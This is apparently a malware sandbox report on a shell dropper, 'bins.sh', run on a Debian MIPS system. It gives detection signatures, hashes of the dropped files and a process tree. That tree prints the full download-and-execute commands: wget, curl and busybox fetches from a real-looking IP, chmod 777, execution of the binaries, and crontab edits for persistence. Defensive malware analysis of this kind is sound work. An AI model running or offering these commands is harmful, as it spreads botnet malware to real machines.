Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    22/11/2024, 10:57

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241122-m19jaavpgn
  • SHA256 750e49fa5aae0d1a13d2b9432aa0c6d6e687f8d185b19981285c18b69d397c94
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1689) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 10 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:704
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:708
        • /usr/bin/wget
          wget http://87.120.125.191/bins/67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa
          2⤵
          • Writes file to tmp directory
          PID:713
        • /usr/bin/curl
          curl -O http://87.120.125.191/bins/67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa
          2⤵
          • Writes file to tmp directory
          PID:720
        • /bin/busybox
          /bin/busybox wget http://87.120.125.191/bins/67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa
          2⤵
          • Writes file to tmp directory
          PID:731
        • /bin/chmod
          chmod 777 67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa
          2⤵
          • File and Directory Permissions Modification
          PID:734
        • /tmp/67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa
          ./67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa
          2⤵
          • Executes dropped EXE
          PID:735
        • /bin/rm
          rm 67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa
          2⤵
            PID:738
          • /usr/bin/wget
            wget http://87.120.125.191/bins/027nbtGZfM9rgdpwbdbveNDux3k93n8KT8
            2⤵
            • Writes file to tmp directory
            PID:739
          • /usr/bin/curl
            curl -O http://87.120.125.191/bins/027nbtGZfM9rgdpwbdbveNDux3k93n8KT8
            2⤵
            • Writes file to tmp directory
            PID:741
          • /bin/busybox
            /bin/busybox wget http://87.120.125.191/bins/027nbtGZfM9rgdpwbdbveNDux3k93n8KT8
            2⤵
            • Writes file to tmp directory
            PID:742
          • /bin/chmod
            chmod 777 027nbtGZfM9rgdpwbdbveNDux3k93n8KT8
            2⤵
            • File and Directory Permissions Modification
            PID:743
          • /tmp/027nbtGZfM9rgdpwbdbveNDux3k93n8KT8
            ./027nbtGZfM9rgdpwbdbveNDux3k93n8KT8
            2⤵
            • Executes dropped EXE
            PID:744
          • /bin/rm
            rm 027nbtGZfM9rgdpwbdbveNDux3k93n8KT8
            2⤵
              PID:746
            • /usr/bin/wget
              wget http://87.120.125.191/bins/csnbouXopQvCLckjL26Q0dKKxmhCn9GviA
              2⤵
              • Writes file to tmp directory
              PID:747
            • /usr/bin/curl
              curl -O http://87.120.125.191/bins/csnbouXopQvCLckjL26Q0dKKxmhCn9GviA
              2⤵
              • Writes file to tmp directory
              PID:748
            • /bin/busybox
              /bin/busybox wget http://87.120.125.191/bins/csnbouXopQvCLckjL26Q0dKKxmhCn9GviA
              2⤵
              • Writes file to tmp directory
              PID:749
            • /bin/chmod
              chmod 777 csnbouXopQvCLckjL26Q0dKKxmhCn9GviA
              2⤵
              • File and Directory Permissions Modification
              PID:750
            • /tmp/csnbouXopQvCLckjL26Q0dKKxmhCn9GviA
              ./csnbouXopQvCLckjL26Q0dKKxmhCn9GviA
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:751
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:753
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:754
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:755
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:756
                  • /bin/rm
                    rm csnbouXopQvCLckjL26Q0dKKxmhCn9GviA
                    2⤵
                      PID:758
                    • /usr/bin/wget
                      wget http://87.120.125.191/bins/cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT
                      2⤵
                        PID:766
                      • /usr/bin/curl
                        curl -O http://87.120.125.191/bins/cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT
                        2⤵
                          PID:842
                        • /bin/busybox
                          /bin/busybox wget http://87.120.125.191/bins/cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT
                          2⤵
                          • Writes file to tmp directory
                          PID:846
                        • /bin/chmod
                          chmod 777 cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT
                          2⤵
                          • File and Directory Permissions Modification
                          PID:847
                        • /tmp/cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT
                          ./cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT
                          2⤵
                          • Executes dropped EXE
                          PID:848
                        • /bin/rm
                          rm cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT
                          2⤵
                            PID:850
                          • /usr/bin/wget
                            wget http://87.120.125.191/bins/Cr5gGxQFhupljubP115jJ8lpGqtT4sHMq6
                            2⤵
                              PID:851
                            • /usr/bin/curl
                              curl -O http://87.120.125.191/bins/Cr5gGxQFhupljubP115jJ8lpGqtT4sHMq6
                              2⤵
                                PID:852
                              • /bin/busybox
                                /bin/busybox wget http://87.120.125.191/bins/Cr5gGxQFhupljubP115jJ8lpGqtT4sHMq6
                                2⤵
                                • Writes file to tmp directory
                                PID:853
                              • /bin/chmod
                                chmod 777 Cr5gGxQFhupljubP115jJ8lpGqtT4sHMq6
                                2⤵
                                • File and Directory Permissions Modification
                                PID:854
                              • /tmp/Cr5gGxQFhupljubP115jJ8lpGqtT4sHMq6
                                ./Cr5gGxQFhupljubP115jJ8lpGqtT4sHMq6
                                2⤵
                                • Executes dropped EXE
                                PID:856
                              • /bin/rm
                                rm Cr5gGxQFhupljubP115jJ8lpGqtT4sHMq6
                                2⤵
                                  PID:859
                                • /usr/bin/wget
                                  wget http://87.120.125.191/bins/Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q
                                  2⤵
                                    PID:860
                                  • /usr/bin/curl
                                    curl -O http://87.120.125.191/bins/Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q
                                    2⤵
                                      PID:862
                                    • /bin/busybox
                                      /bin/busybox wget http://87.120.125.191/bins/Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:864
                                    • /bin/chmod
                                      chmod 777 Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:866
                                    • /tmp/Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q
                                      ./Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q
                                      2⤵
                                      • Executes dropped EXE
                                      PID:868
                                    • /bin/rm
                                      rm Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q
                                      2⤵
                                        PID:870
                                      • /usr/bin/wget
                                        wget http://87.120.125.191/bins/UcwXUUNAd7qB2ipqXcttfe5pkJ4mslregT
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:871
                                      • /usr/bin/curl
                                        curl -O http://87.120.125.191/bins/UcwXUUNAd7qB2ipqXcttfe5pkJ4mslregT
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:874
                                      • /bin/busybox
                                        /bin/busybox wget http://87.120.125.191/bins/UcwXUUNAd7qB2ipqXcttfe5pkJ4mslregT
                                        2⤵
                                        • System Network Configuration Discovery
                                        • Writes file to tmp directory
                                        PID:875
                                      • /bin/chmod
                                        chmod 777 UcwXUUNAd7qB2ipqXcttfe5pkJ4mslregT
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:878
                                      • /tmp/UcwXUUNAd7qB2ipqXcttfe5pkJ4mslregT
                                        ./UcwXUUNAd7qB2ipqXcttfe5pkJ4mslregT
                                        2⤵
                                        • Executes dropped EXE
                                        • System Network Configuration Discovery
                                        PID:879
                                      • /bin/rm
                                        rm UcwXUUNAd7qB2ipqXcttfe5pkJ4mslregT
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:882
                                      • /usr/bin/wget
                                        wget http://87.120.125.191/bins/ikXAZUKuguyqzhPvZVfuCw1p5y75s2Oe3Y
                                        2⤵
                                          PID:883
                                        • /usr/bin/curl
                                          curl -O http://87.120.125.191/bins/ikXAZUKuguyqzhPvZVfuCw1p5y75s2Oe3Y
                                          2⤵
                                            PID:885
                                          • /bin/busybox
                                            /bin/busybox wget http://87.120.125.191/bins/ikXAZUKuguyqzhPvZVfuCw1p5y75s2Oe3Y
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:886
                                          • /bin/chmod
                                            chmod 777 ikXAZUKuguyqzhPvZVfuCw1p5y75s2Oe3Y
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:903
                                          • /tmp/ikXAZUKuguyqzhPvZVfuCw1p5y75s2Oe3Y
                                            ./ikXAZUKuguyqzhPvZVfuCw1p5y75s2Oe3Y
                                            2⤵
                                            • Executes dropped EXE
                                            PID:904
                                          • /bin/rm
                                            rm ikXAZUKuguyqzhPvZVfuCw1p5y75s2Oe3Y
                                            2⤵
                                              PID:907
                                            • /usr/bin/wget
                                              wget http://87.120.125.191/bins/2F1gKxKP8KZQIp9kcbrxBAIIswp6nEwJi9
                                              2⤵
                                              • System Network Configuration Discovery
                                              PID:908
                                            • /usr/bin/curl
                                              curl -O http://87.120.125.191/bins/2F1gKxKP8KZQIp9kcbrxBAIIswp6nEwJi9
                                              2⤵
                                              • System Network Configuration Discovery
                                              PID:909
                                            • /bin/busybox
                                              /bin/busybox wget http://87.120.125.191/bins/2F1gKxKP8KZQIp9kcbrxBAIIswp6nEwJi9
                                              2⤵
                                              • System Network Configuration Discovery
                                              • Writes file to tmp directory
                                              PID:912
                                            • /bin/chmod
                                              chmod 777 2F1gKxKP8KZQIp9kcbrxBAIIswp6nEwJi9
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:917
                                            • /tmp/2F1gKxKP8KZQIp9kcbrxBAIIswp6nEwJi9
                                              ./2F1gKxKP8KZQIp9kcbrxBAIIswp6nEwJi9
                                              2⤵
                                              • Executes dropped EXE
                                              • System Network Configuration Discovery
                                              PID:918
                                            • /bin/rm
                                              rm 2F1gKxKP8KZQIp9kcbrxBAIIswp6nEwJi9
                                              2⤵
                                              • System Network Configuration Discovery
                                              PID:919
                                            • /usr/bin/wget
                                              wget http://87.120.125.191/bins/RMOu8PDMo4nKvHxbAlhDt8o0WmGodZgdqa
                                              2⤵
                                                PID:920

                                            Network

                                                  MITRE ATT&CK Enterprise v15

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  027nbtGZfM9rgdpwbdbveNDux3k93n8KT8

                                                  • Path /tmp/027nbtGZfM9rgdpwbdbveNDux3k93n8KT8
                                                  • Size 98KB
                                                  • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  2F1gKxKP8KZQIp9kcbrxBAIIswp6nEwJi9

                                                  • Path /tmp/2F1gKxKP8KZQIp9kcbrxBAIIswp6nEwJi9
                                                  • Size 141KB
                                                  • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa

                                                  • Path /tmp/67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa
                                                  • Size 112KB
                                                  • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  Cr5gGxQFhupljubP115jJ8lpGqtT4sHMq6

                                                  • Path /tmp/Cr5gGxQFhupljubP115jJ8lpGqtT4sHMq6
                                                  • Size 122KB
                                                  • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q

                                                  • Path /tmp/Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q
                                                  • Size 119KB
                                                  • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  UcwXUUNAd7qB2ipqXcttfe5pkJ4mslregT

                                                  • Path /tmp/UcwXUUNAd7qB2ipqXcttfe5pkJ4mslregT
                                                  • Size 99KB
                                                  • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT

                                                  • Path /tmp/cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT
                                                  • Size 111KB
                                                  • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  csnbouXopQvCLckjL26Q0dKKxmhCn9GviA

                                                  • Path /tmp/csnbouXopQvCLckjL26Q0dKKxmhCn9GviA
                                                  • Size 151KB
                                                  • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  ikXAZUKuguyqzhPvZVfuCw1p5y75s2Oe3Y

                                                  • Path /tmp/ikXAZUKuguyqzhPvZVfuCw1p5y75s2Oe3Y
                                                  • Size 177KB
                                                  • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  tmp.ga5OhD

                                                  • Path /var/spool/cron/crontabs/tmp.ga5OhD
                                                  • Size 210B
                                                  • SHA256 277a48d5f24962511be6d85393a3ef3a1c4c6efe7b39febf391ae1118a151ed6
                                                  • MD5 SHA1 SHA512